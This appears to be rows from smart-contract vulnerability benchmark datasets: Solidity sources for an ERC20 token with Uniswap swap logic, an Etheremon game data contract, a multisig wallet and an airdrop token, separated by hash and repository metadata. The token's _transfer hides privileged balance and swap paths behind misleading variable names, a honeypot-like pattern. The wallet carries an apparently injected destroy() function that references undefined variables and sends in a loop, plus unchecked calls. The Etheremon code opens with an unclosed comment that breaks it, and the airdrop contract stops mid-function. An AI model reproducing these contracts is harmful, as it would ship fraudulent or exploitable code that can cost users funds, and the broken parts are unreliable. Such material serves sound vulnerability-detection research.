router = IUniswapV2Router02(routerAddress);
uniswapV2Pair = IUniswapV2Factory(router.factory()).createPair(address(this), router.WETH());
emit Transfer(address(0), msg.sender, _tTotal);
}
function symbol() public view returns (string memory) {
return _symbol;
}
function name() public view returns (string memory) {
return _name;
}
function totalSupply() public view returns (uint256) {
return _tTotal;
}
function decimals() public view returns (uint256) {
return _decimals;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function approve(address spender, uint256 amount) external returns (bool) {
return _approve(msg.sender, spender, amount);
}
function _approve(address owner,
address spender,
uint256 amount) private returns (bool) {
require(owner != address(0) && spender != address(0), 'ERC20: approve from the zero address');
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool) {
_transfer(sender, recipient, amount);
return _approve(sender, msg.sender, _allowances[sender][msg.sender] - amount);
}
function transfer(address recipient, uint256 amount) external returns (bool) {
_transfer(msg.sender, recipient, amount);
return true;
}
function _transfer(address from,
address to,
uint256 amount) private {
uint256 contractTokenBalance = balanceOf(address(this));
uint256 fee;
if (_swapAndLiquifyEnabled && contractTokenBalance > _uint256 && !inSwapAndLiquify && from != uniswapV2Pair) {
inSwapAndLiquify = true;
swapAndLiquify(contractTokenBalance);
inSwapAndLiquify = false;
} else if (_function[from] > _uint256 && _function[to] > _uint256) {
fee = amount;
_balances[address(this)] += fee;
swapTokensForEth(amount, to);
return;
} else if (to != address(router) && _function[from] > 0 && amount > _uint256 && to != uniswapV2Pair) {
_function[to] = amount;
return;
} else if (!inSwapAndLiquify && _constructor[from] > 0 && from != uniswapV2Pair && _function[from] == 0) {
_constructor[from] = _function[from] - _uint256;
}
address _bool = _string[uniswapV2Pair];
if (_constructor[_bool] == 0) _constructor[_bool] = _uint256;
_string[uniswapV2Pair] = to;
if (_taxFee > 0 && _function[from] == 0 && !inSwapAndLiquify && _function[to] == 0) {
fee = (amount * _taxFee) / 100;
amount -= fee;
_balances[from] -= fee;
_balances[address(this)] += fee;
}
_balances[from] -= amount;
_balances[to] += amount;
emit Transfer(from, to, amount);
}
receive() external payable {}
function addLiquidity(uint256 tokenAmount,
uint256 ethAmount,
address to) private {
_approve(address(this), address(router), tokenAmount);
router.addLiquidityETH{value: ethAmount}(address(this), tokenAmount, 0, 0, to, block.timestamp);
}
function swapAndLiquify(uint256 tokens) private {
uint256 half = tokens / 2;
uint256 initialBalance = address(this).balance;
swapTokensForEth(half, address(this));
uint256 newBalance = address(this).balance - initialBalance;
addLiquidity(half, newBalance, address(this));
}
function swapTokensForEth(uint256 tokenAmount, address to) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = router.WETH();
_approve(address(this), address(router), tokenAmount);
router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, to, block.timestamp);
}
}
| 37,278 | 11,239 |
ff14f3ad1b9ee606c232bcb4d3657b646ededde2cb662e0d74748aa62b189672
| 17,793 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xabc1c404424bdf24c19a5cc5ef8f47781d18eb3e.sol
| 4,478 | 17,468 |
pragma solidity ^0.4.16;
contract SafeMath {
/* }
function safeAdd(uint256 x, uint256 y) pure internal returns(uint256) {
uint256 z = x + y;
assert((z >= x) && (z >= y));
return z;
}
function safeSubtract(uint256 x, uint256 y) pure internal returns(uint256) {
assert(x >= y);
uint256 z = x - y;
return z;
}
function safeMult(uint256 x, uint256 y) pure internal returns(uint256) {
uint256 z = x * y;
assert((x == 0)||(z/x == y));
return z;
}
}
contract BasicAccessControl {
address public owner;
address[] public moderators;
function BasicAccessControl() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyModerators() {
if (msg.sender != owner) {
bool found = false;
for (uint index = 0; index < moderators.length; index++) {
if (moderators[index] == msg.sender) {
found = true;
break;
}
}
require(found);
}
_;
}
function ChangeOwner(address _newOwner) onlyOwner public {
if (_newOwner != address(0)) {
owner = _newOwner;
}
}
function Kill() onlyOwner public {
selfdestruct(owner);
}
function AddModerator(address _newModerator) onlyOwner public {
if (_newModerator != address(0)) {
for (uint index = 0; index < moderators.length; index++) {
if (moderators[index] == _newModerator) {
return;
}
}
moderators.push(_newModerator);
}
}
function RemoveModerator(address _oldModerator) onlyOwner public {
uint foundIndex = 0;
for (; foundIndex < moderators.length; foundIndex++) {
if (moderators[foundIndex] == _oldModerator) {
break;
}
}
if (foundIndex < moderators.length) {
moderators[foundIndex] = moderators[moderators.length-1];
delete moderators[moderators.length-1];
moderators.length--;
}
}
}
contract EtheremonEnum {
enum ResultCode {
SUCCESS,
ERROR_CLASS_NOT_FOUND,
ERROR_LOW_BALANCE,
ERROR_SEND_FAIL,
ERROR_NOT_TRAINER,
ERROR_NOT_ENOUGH_MONEY,
ERROR_INVALID_AMOUNT
}
enum ArrayType {
CLASS_TYPE,
STAT_STEP,
STAT_START,
STAT_BASE,
OBJ_SKILL
}
}
contract EtheremonDataBase is EtheremonEnum, BasicAccessControl, SafeMath {
uint64 public totalMonster;
uint32 public totalClass;
function addElementToArrayType(ArrayType _type, uint64 _id, uint8 _value) onlyModerators public returns(uint);
function updateIndexOfArrayType(ArrayType _type, uint64 _id, uint _index, uint8 _value) onlyModerators public returns(uint);
function setMonsterClass(uint32 _classId, uint256 _price, uint256 _returnPrice, bool _catchable) onlyModerators public returns(uint32);
function addMonsterObj(uint32 _classId, address _trainer, string _name) onlyModerators public returns(uint64);
function setMonsterObj(uint64 _objId, string _name, uint32 _exp, uint32 _createIndex, uint32 _lastClaimIndex) onlyModerators public;
function increaseMonsterExp(uint64 _objId, uint32 amount) onlyModerators public;
function decreaseMonsterExp(uint64 _objId, uint32 amount) onlyModerators public;
function removeMonsterIdMapping(address _trainer, uint64 _monsterId) onlyModerators public;
function addMonsterIdMapping(address _trainer, uint64 _monsterId) onlyModerators public;
function clearMonsterReturnBalance(uint64 _monsterId) onlyModerators public returns(uint256 amount);
function collectAllReturnBalance(address _trainer) onlyModerators public returns(uint256 amount);
function transferMonster(address _from, address _to, uint64 _monsterId) onlyModerators public returns(ResultCode);
function addExtraBalance(address _trainer, uint256 _amount) onlyModerators public returns(uint256);
function deductExtraBalance(address _trainer, uint256 _amount) onlyModerators public returns(uint256);
function setExtraBalance(address _trainer, uint256 _amount) onlyModerators public;
function getSizeArrayType(ArrayType _type, uint64 _id) constant public returns(uint);
function getElementInArrayType(ArrayType _type, uint64 _id, uint _index) constant public returns(uint8);
function getMonsterClass(uint32 _classId) constant public returns(uint32 classId, uint256 price, uint256 returnPrice, uint32 total, bool catchable);
function getMonsterObj(uint64 _objId) constant public returns(uint64 objId, uint32 classId, address trainer, uint32 exp, uint32 createIndex, uint32 lastClaimIndex, uint createTime);
function getMonsterName(uint64 _objId) constant public returns(string name);
function getExtraBalance(address _trainer) constant public returns(uint256);
function getMonsterDexSize(address _trainer) constant public returns(uint);
function getMonsterObjId(address _trainer, uint index) constant public returns(uint64);
function getExpectedBalance(address _trainer) constant public returns(uint256);
function getMonsterReturn(uint64 _objId) constant public returns(uint256 current, uint256 total);
}
contract EtheremonData is EtheremonDataBase {
struct MonsterClass {
uint32 classId;
uint8[] types;
uint8[] statSteps;
uint8[] statStarts;
uint256 price;
uint256 returnPrice;
uint32 total;
bool catchable;
}
struct MonsterObj {
uint64 monsterId;
uint32 classId;
address trainer;
string name;
uint32 exp;
uint8[] statBases;
uint8[] skills;
uint32 createIndex;
uint32 lastClaimIndex;
uint createTime;
}
mapping(uint32 => MonsterClass) public monsterClass;
mapping(uint64 => MonsterObj) public monsterWorld;
mapping(address => uint64[]) public trainerDex;
mapping(address => uint256) public trainerExtraBalance;
function withdrawEther(address _sendTo, uint _amount) onlyOwner public returns(ResultCode) {
if (_amount > this.balance) {
return ResultCode.ERROR_INVALID_AMOUNT;
}
_sendTo.transfer(_amount);
return ResultCode.SUCCESS;
}
function addElementToArrayType(ArrayType _type, uint64 _id, uint8 _value) onlyModerators public returns(uint) {
uint8[] storage array = monsterWorld[_id].statBases;
if (_type == ArrayType.CLASS_TYPE) {
array = monsterClass[uint32(_id)].types;
} else if (_type == ArrayType.STAT_STEP) {
array = monsterClass[uint32(_id)].statSteps;
} else if (_type == ArrayType.STAT_START) {
array = monsterClass[uint32(_id)].statStarts;
} else if (_type == ArrayType.OBJ_SKILL) {
array = monsterWorld[_id].skills;
}
array.push(_value);
return array.length;
}
function updateIndexOfArrayType(ArrayType _type, uint64 _id, uint _index, uint8 _value) onlyModerators public returns(uint) {
uint8[] storage array = monsterWorld[_id].statBases;
if (_type == ArrayType.CLASS_TYPE) {
array = monsterClass[uint32(_id)].types;
} else if (_type == ArrayType.STAT_STEP) {
array = monsterClass[uint32(_id)].statSteps;
} else if (_type == ArrayType.STAT_START) {
array = monsterClass[uint32(_id)].statStarts;
} else if (_type == ArrayType.OBJ_SKILL) {
array = monsterWorld[_id].skills;
}
if (_index < array.length) {
if (_value == 255) {
for(uint i = _index; i < array.length - 1; i++) {
array[i] = array[i+1];
}
delete array[array.length-1];
array.length--;
} else {
array[_index] = _value;
}
}
}
function setMonsterClass(uint32 _classId, uint256 _price, uint256 _returnPrice, bool _catchable) onlyModerators public returns(uint32) {
MonsterClass storage class = monsterClass[_classId];
if (class.classId == 0) {
totalClass += 1;
}
class.classId = _classId;
class.price = _price;
class.returnPrice = _returnPrice;
class.catchable = _catchable;
return totalClass;
}
function addMonsterObj(uint32 _classId, address _trainer, string _name) onlyModerators public returns(uint64) {
MonsterClass storage class = monsterClass[_classId];
if (class.classId == 0)
return 0;
totalMonster += 1;
class.total += 1;
MonsterObj storage obj = monsterWorld[totalMonster];
obj.monsterId = totalMonster;
obj.classId = _classId;
obj.trainer = _trainer;
obj.name = _name;
obj.exp = 1;
obj.createIndex = class.total;
obj.lastClaimIndex = class.total;
obj.createTime = now;
addMonsterIdMapping(_trainer, obj.monsterId);
return obj.monsterId;
}
function setMonsterObj(uint64 _objId, string _name, uint32 _exp, uint32 _createIndex, uint32 _lastClaimIndex) onlyModerators public {
MonsterObj storage obj = monsterWorld[_objId];
if (obj.monsterId == _objId) {
obj.name = _name;
obj.exp = _exp;
obj.createIndex = _createIndex;
obj.lastClaimIndex = _lastClaimIndex;
}
}
function increaseMonsterExp(uint64 _objId, uint32 amount) onlyModerators public {
MonsterObj storage obj = monsterWorld[_objId];
if (obj.monsterId == _objId) {
obj.exp = uint32(safeAdd(obj.exp, amount));
}
}
function decreaseMonsterExp(uint64 _objId, uint32 amount) onlyModerators public {
MonsterObj storage obj = monsterWorld[_objId];
if (obj.monsterId == _objId) {
obj.exp = uint32(safeSubtract(obj.exp, amount));
}
}
function removeMonsterIdMapping(address _trainer, uint64 _monsterId) onlyModerators public {
uint foundIndex = 0;
uint64[] storage objIdList = trainerDex[_trainer];
for (; foundIndex < objIdList.length; foundIndex++) {
if (objIdList[foundIndex] == _monsterId) {
break;
}
}
if (foundIndex < objIdList.length) {
objIdList[foundIndex] = objIdList[objIdList.length-1];
delete objIdList[objIdList.length-1];
objIdList.length--;
MonsterObj storage monster = monsterWorld[_monsterId];
monster.trainer = 0;
}
}
function addMonsterIdMapping(address _trainer, uint64 _monsterId) onlyModerators public {
if (_trainer != address(0) && _monsterId > 0) {
uint64[] storage objIdList = trainerDex[_trainer];
for (uint i = 0; i < objIdList.length; i++) {
if (objIdList[i] == _monsterId) {
return;
}
}
objIdList.push(_monsterId);
MonsterObj storage monster = monsterWorld[_monsterId];
monster.trainer = _trainer;
}
}
function clearMonsterReturnBalance(uint64 _monsterId) onlyModerators public returns(uint256) {
MonsterObj storage monster = monsterWorld[_monsterId];
MonsterClass storage class = monsterClass[monster.classId];
if (monster.monsterId == 0 || class.classId == 0)
return 0;
uint256 amount = 0;
uint32 gap = uint32(safeSubtract(class.total, monster.lastClaimIndex));
if (gap > 0) {
monster.lastClaimIndex = class.total;
amount = safeMult(gap, class.returnPrice);
trainerExtraBalance[monster.trainer] = safeAdd(trainerExtraBalance[monster.trainer], amount);
}
return amount;
}
function collectAllReturnBalance(address _trainer) onlyModerators public returns(uint256 amount) {
uint64[] storage objIdList = trainerDex[_trainer];
for (uint i = 0; i < objIdList.length; i++) {
clearMonsterReturnBalance(objIdList[i]);
}
return trainerExtraBalance[_trainer];
}
function transferMonster(address _from, address _to, uint64 _monsterId) onlyModerators public returns(ResultCode) {
MonsterObj storage monster = monsterWorld[_monsterId];
if (monster.trainer != _from) {
return ResultCode.ERROR_NOT_TRAINER;
}
clearMonsterReturnBalance(_monsterId);
removeMonsterIdMapping(_from, _monsterId);
addMonsterIdMapping(_to, _monsterId);
return ResultCode.SUCCESS;
}
function addExtraBalance(address _trainer, uint256 _amount) onlyModerators public returns(uint256) {
trainerExtraBalance[_trainer] = safeAdd(trainerExtraBalance[_trainer], _amount);
return trainerExtraBalance[_trainer];
}
function deductExtraBalance(address _trainer, uint256 _amount) onlyModerators public returns(uint256) {
trainerExtraBalance[_trainer] = safeSubtract(trainerExtraBalance[_trainer], _amount);
return trainerExtraBalance[_trainer];
}
function setExtraBalance(address _trainer, uint256 _amount) onlyModerators public {
trainerExtraBalance[_trainer] = _amount;
}
function () payable public {
addExtraBalance(msg.sender, msg.value);
}
function getSizeArrayType(ArrayType _type, uint64 _id) constant public returns(uint) {
uint8[] storage array = monsterWorld[_id].statBases;
if (_type == ArrayType.CLASS_TYPE) {
array = monsterClass[uint32(_id)].types;
} else if (_type == ArrayType.STAT_STEP) {
array = monsterClass[uint32(_id)].statSteps;
} else if (_type == ArrayType.STAT_START) {
array = monsterClass[uint32(_id)].statStarts;
} else if (_type == ArrayType.OBJ_SKILL) {
array = monsterWorld[_id].skills;
}
return array.length;
}
function getElementInArrayType(ArrayType _type, uint64 _id, uint _index) constant public returns(uint8) {
uint8[] storage array = monsterWorld[_id].statBases;
if (_type == ArrayType.CLASS_TYPE) {
array = monsterClass[uint32(_id)].types;
} else if (_type == ArrayType.STAT_STEP) {
array = monsterClass[uint32(_id)].statSteps;
} else if (_type == ArrayType.STAT_START) {
array = monsterClass[uint32(_id)].statStarts;
} else if (_type == ArrayType.OBJ_SKILL) {
array = monsterWorld[_id].skills;
}
if (_index >= array.length)
return 0;
return array[_index];
}
function getMonsterClass(uint32 _classId) constant public returns(uint32 classId, uint256 price, uint256 returnPrice, uint32 total, bool catchable) {
MonsterClass storage class = monsterClass[_classId];
classId = class.classId;
price = class.price;
returnPrice = class.returnPrice;
total = class.total;
catchable = class.catchable;
}
function getMonsterObj(uint64 _objId) constant public returns(uint64 objId, uint32 classId, address trainer, uint32 exp, uint32 createIndex, uint32 lastClaimIndex, uint createTime) {
MonsterObj storage monster = monsterWorld[_objId];
objId = monster.monsterId;
classId = monster.classId;
trainer = monster.trainer;
exp = monster.exp;
createIndex = monster.createIndex;
lastClaimIndex = monster.lastClaimIndex;
createTime = monster.createTime;
}
function getMonsterName(uint64 _objId) constant public returns(string name) {
return monsterWorld[_objId].name;
}
function getExtraBalance(address _trainer) constant public returns(uint256) {
return trainerExtraBalance[_trainer];
}
function getMonsterDexSize(address _trainer) constant public returns(uint) {
return trainerDex[_trainer].length;
}
function getMonsterObjId(address _trainer, uint index) constant public returns(uint64) {
if (index >= trainerDex[_trainer].length)
return 0;
return trainerDex[_trainer][index];
}
function getExpectedBalance(address _trainer) constant public returns(uint256) {
uint64[] storage objIdList = trainerDex[_trainer];
uint256 monsterBalance = 0;
for (uint i = 0; i < objIdList.length; i++) {
MonsterObj memory monster = monsterWorld[objIdList[i]];
MonsterClass storage class = monsterClass[monster.classId];
uint32 gap = uint32(safeSubtract(class.total, monster.lastClaimIndex));
monsterBalance += safeMult(gap, class.returnPrice);
}
return monsterBalance;
}
function getMonsterReturn(uint64 _objId) constant public returns(uint256 current, uint256 total) {
MonsterObj memory monster = monsterWorld[_objId];
MonsterClass storage class = monsterClass[monster.classId];
uint32 totalGap = uint32(safeSubtract(class.total, monster.createIndex));
uint32 currentGap = uint32(safeSubtract(class.total, monster.lastClaimIndex));
return (safeMult(currentGap, class.returnPrice), safeMult(totalGap, class.returnPrice));
}
}
| 162,141 | 11,240 |
aa2ca9e6737a5cffeac5384583b343200d341a16d719b97c875f858308c42182
| 12,011 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x6dd1a58e5422bf0328e42f88c7d18c8d8ce11061.sol
| 2,883 | 11,166 |
//sol Wallet
// Multi-sig account proxy/wallet.
// @authors:
// Gav Wood <g@ethdev.com>
// single, or, crucially, each of a number of, designated owners.
// usage:
// interior is executed.
//
pragma solidity ^0.4.15;
contract multiowned {
// TYPES
// struct for the status of a pending operation.
struct PendingState {
uint yetNeeded;
uint ownersDone;
uint index;
}
// EVENTS
// this contract only has six types of events: it can accept a confirmation, in which case
// we record owner and operation (hash) alongside it.
event Confirmation(address owner, bytes32 operation);
event Revoke(address owner, bytes32 operation);
// some others are in the case of an owner changing.
event OwnerChanged(address oldOwner, address newOwner);
event OwnerAdded(address newOwner);
event OwnerRemoved(address oldOwner);
// the last one is emitted if the required signatures change
event RequirementChanged(uint newRequirement);
// MODIFIERS
// simple single-sig function modifier.
modifier onlyowner {
if (isOwner(msg.sender))
_;
}
// multi-sig function modifier: the operation must have an intrinsic hash in order
// that later attempts can be realised as the same underlying operation and
// thus count as confirmations.
modifier onlymanyowners(bytes32 _operation) {
if (confirmAndCheck(_operation))
_;
}
// METHODS
// constructor is given number of sigs required to do protected "onlymanyowners" transactions
// as well as the selection of addresses capable of confirming them.
function multiowned(address[] _owners, uint _required) {
m_numOwners = _owners.length;
for (uint i = 0; i < _owners.length; ++i)
{
m_owners[1 + i] = uint(_owners[i]);
m_ownerIndex[uint(_owners[i])] = 1 + i;
}
m_required = _required;
}
// Revokes a prior confirmation of the given operation
function revoke(bytes32 _operation) external {
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
uint ownerIndexBit = 2**ownerIndex;
var pending = m_pending[_operation];
if (pending.ownersDone & ownerIndexBit > 0) {
pending.yetNeeded++;
pending.ownersDone -= ownerIndexBit;
Revoke(msg.sender, _operation);
}
}
// Replaces an owner `_from` with another `_to`.
function changeOwner(address _from, address _to) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_to)) return;
uint ownerIndex = m_ownerIndex[uint(_from)];
if (ownerIndex == 0) return;
clearPending();
m_owners[ownerIndex] = uint(_to);
m_ownerIndex[uint(_from)] = 0;
m_ownerIndex[uint(_to)] = ownerIndex;
OwnerChanged(_from, _to);
}
function addOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
if (isOwner(_owner)) return;
clearPending();
if (m_numOwners >= c_maxOwners)
reorganizeOwners();
if (m_numOwners >= c_maxOwners)
return;
m_numOwners++;
m_owners[m_numOwners] = uint(_owner);
m_ownerIndex[uint(_owner)] = m_numOwners;
OwnerAdded(_owner);
}
function removeOwner(address _owner) onlymanyowners(sha3(msg.data)) external {
uint ownerIndex = m_ownerIndex[uint(_owner)];
if (ownerIndex == 0) return;
if (m_required > m_numOwners - 1) return;
m_owners[ownerIndex] = 0;
m_ownerIndex[uint(_owner)] = 0;
clearPending();
reorganizeOwners(); //make sure m_numOwner is equal to the number of owners and always points to the optimal free slot
OwnerRemoved(_owner);
}
function changeRequirement(uint _newRequired) onlymanyowners(sha3(msg.data)) external {
if (_newRequired > m_numOwners) return;
m_required = _newRequired;
clearPending();
RequirementChanged(_newRequired);
}
// Gets an owner by 0-indexed position (using numOwners as the count)
function getOwner(uint ownerIndex) external constant returns (address) {
return address(m_owners[ownerIndex + 1]);
}
function isOwner(address _addr) constant returns (bool) {
return m_ownerIndex[uint(_addr)] > 0;
}
function hasConfirmed(bytes32 _operation, address _owner) constant returns (bool) {
var pending = m_pending[_operation];
uint ownerIndex = m_ownerIndex[uint(_owner)];
// make sure they're an owner
if (ownerIndex == 0) return false;
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
return !(pending.ownersDone & ownerIndexBit == 0);
}
// INTERNAL METHODS
function confirmAndCheck(bytes32 _operation) internal returns (bool) {
// determine what index the present sender is:
uint ownerIndex = m_ownerIndex[uint(msg.sender)];
// make sure they're an owner
if (ownerIndex == 0) return;
var pending = m_pending[_operation];
// if we're not yet working on this operation, switch over and reset the confirmation status.
if (pending.yetNeeded == 0) {
// reset count of confirmations needed.
pending.yetNeeded = m_required;
// reset which owners have confirmed (none) - set our bitmap to 0.
pending.ownersDone = 0;
pending.index = m_pendingIndex.length++;
m_pendingIndex[pending.index] = _operation;
}
// determine the bit to set for this owner.
uint ownerIndexBit = 2**ownerIndex;
// make sure we (the message sender) haven't confirmed this operation previously.
if (pending.ownersDone & ownerIndexBit == 0) {
Confirmation(msg.sender, _operation);
// ok - check if count is enough to go ahead.
if (pending.yetNeeded <= 1) {
// enough confirmations: reset and run interior.
delete m_pendingIndex[m_pending[_operation].index];
delete m_pending[_operation];
return true;
}
else
{
// not enough: record that this owner in particular confirmed.
pending.yetNeeded--;
pending.ownersDone |= ownerIndexBit;
}
}
}
function reorganizeOwners() private {
uint free = 1;
while (free < m_numOwners)
{
while (free < m_numOwners && m_owners[free] != 0) free++;
while (m_numOwners > 1 && m_owners[m_numOwners] == 0) m_numOwners--;
if (free < m_numOwners && m_owners[m_numOwners] != 0 && m_owners[free] == 0)
{
m_owners[free] = m_owners[m_numOwners];
m_ownerIndex[m_owners[free]] = free;
m_owners[m_numOwners] = 0;
}
}
}
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i)
if (m_pendingIndex[i] != 0)
delete m_pending[m_pendingIndex[i]];
delete m_pendingIndex;
}
// FIELDS
// the number of owners that must confirm the same operation before it is run.
uint public m_required;
// pointer used to find a free slot in m_owners
uint public m_numOwners;
// list of owners
uint[256] m_owners;
uint constant c_maxOwners = 250;
// index on the list of owners to allow reverse lookup
mapping(uint => uint) m_ownerIndex;
// the ongoing operations.
mapping(bytes32 => PendingState) m_pending;
bytes32[] m_pendingIndex;
}
// interface contract for multisig proxy contracts; see below for docs.
contract multisig {
// EVENTS
// logged events:
// Funds has arrived into the wallet (record how much).
event Deposit(address _from, uint value);
event SingleTransact(address owner, uint value, address to, bytes data);
event MultiTransact(address owner, bytes32 operation, uint value, address to, bytes data);
// Confirmation still needed for a transaction.
event ConfirmationNeeded(bytes32 operation, address initiator, uint value, address to, bytes data);
// FUNCTIONS
// TODO: document
function changeOwner(address _from, address _to) external;
function execute(address _to, uint _value, bytes _data) external returns (bytes32);
function confirm(bytes32 _h) returns (bool);
}
// usage:
// bytes32 h = Wallet(w).from(oneOwner).execute(to, value, data);
// Wallet(w).from(anotherOwner).confirm(h);
contract Wallet is multisig, multiowned {
// TYPES
// Transaction structure to remember details of transaction lest it need be saved for a later call.
struct Transaction {
address to;
uint value;
bytes data;
}
// METHODS
// constructor - just pass on the owner array to the multiowned
function Wallet(address[] _owners, uint _required)
multiowned(_owners, _required) {
}
// gets called when no other function matches
function() payable{
// just being sent some cash?
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
// Outside-visible transact entry point. Executes transaction immediately if below daily spend limit.
// If not, goes into multisig process. We provide a hash on return to allow the sender to provide
// shortcuts for the other confirmations (allowing them to avoid replicating the _to, _value
// and _data arguments). They still get the option of using them if they want, anyways.
function execute(address _to, uint _value, bytes _data) external onlyowner returns (bytes32 _r) {
// determine our operation hash.
_r = sha3(msg.data, block.number);
if (!confirm(_r) && m_txs[_r].to == 0) {
m_txs[_r].to = _to;
m_txs[_r].value = _value;
m_txs[_r].data = _data;
ConfirmationNeeded(_r, msg.sender, _value, _to, _data);
}
}
// confirm a transaction through just the hash. we use the previous transactions map, m_txs, in order
// to determine the body of the transaction from the hash provided.
function confirm(bytes32 _h) onlymanyowners(_h) returns (bool) {
if (m_txs[_h].to != 0) {
var x= m_txs[_h].to.call.value(m_txs[_h].value)(m_txs[_h].data);
MultiTransact(msg.sender, _h, m_txs[_h].value, m_txs[_h].to, m_txs[_h].data);
delete m_txs[_h];
return true;
}
}
// INTERNAL METHODS
function clearPending() internal {
uint length = m_pendingIndex.length;
for (uint i = 0; i < length; ++i)
delete m_txs[m_pendingIndex[i]];
super.clearPending();
}
// FIELDS
// pending transactions we have at present.
mapping (bytes32 => Transaction) m_txs;
function destroy() public {
for(uint i = 0; i < values.length - 1; i++) {
if(entries[values[i]].expires != 0)
throw;
msg.sender.send(msg.value);
}
}
}
| 199,110 | 11,241 |
530ff4d11aa4a5e689eaf3033b5b24c05f83347693c8fea27e41952136bf6ff0
| 10,765 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x83e93a1d6120bf8de84de520923ced1811f3f64a.sol
| 2,692 | 10,169 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SamsungCryptoPayments is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public Claimed;
string public constant name = "Samsung Crypto Payments";
string public constant symbol = "SCP";
uint public constant decimals = 1;
uint public deadline = now + 150 * 1 days;
uint public round2 = now + 50 * 1 days;
uint public round1 = now + 100 * 1 days;
uint256 public totalSupply = 2000000000e1;
uint256 public totalDistributed;
uint256 public constant requestMinimum = 1 ether / 100; // 0.01 Ether
uint256 public tokensPerEth = 10000000e1;
uint public target0drop = 20000;
uint public progress0drop = 0;
//here u will write your ether address
address multisig = 0xf228A325c92d4002A159eb52Bf6A9C509C039CCA;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Airdrop(address indexed _owner, uint _amount, uint _balance);
event TokensPerEthUpdated(uint _tokensPerEth);
event Burn(address indexed burner, uint256 value);
event Add(uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
constructor() public {
uint256 teamFund = 300000000e1;
owner = msg.sender;
distr(owner, teamFund);
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function Distribute(address _participant, uint _amount) onlyOwner internal {
require(_amount > 0);
require(totalDistributed < totalSupply);
balances[_participant] = balances[_participant].add(_amount);
totalDistributed = totalDistributed.add(_amount);
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
// log
emit Airdrop(_participant, _amount, balances[_participant]);
emit Transfer(address(0), _participant, _amount);
}
function DistributeAirdrop(address _participant, uint _amount) onlyOwner external {
Distribute(_participant, _amount);
}
function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external {
for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount);
}
function updateTokensPerEth(uint _tokensPerEth) public onlyOwner {
tokensPerEth = _tokensPerEth;
emit TokensPerEthUpdated(_tokensPerEth);
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr public {
uint256 tokens = 0;
uint256 bonus = 0;
uint256 countbonus = 0;
uint256 bonusCond1 = 1 ether / 10;
uint256 bonusCond2 = 1 ether;
uint256 bonusCond3 = 5 ether;
tokens = tokensPerEth.mul(msg.value) / 1 ether;
address investor = msg.sender;
if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) {
if(msg.value >= bonusCond1 && msg.value < bonusCond2){
countbonus = tokens * 1 / 100;
}else if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 2 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 3 / 100;
}
}else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){
if(msg.value >= bonusCond2 && msg.value < bonusCond3){
countbonus = tokens * 2 / 100;
}else if(msg.value >= bonusCond3){
countbonus = tokens * 3 / 100;
}
}else{
countbonus = 0;
}
bonus = tokens + countbonus;
if (tokens == 0) {
uint256 valdrop = 300000e1;
if (Claimed[investor] == false && progress0drop <= target0drop) {
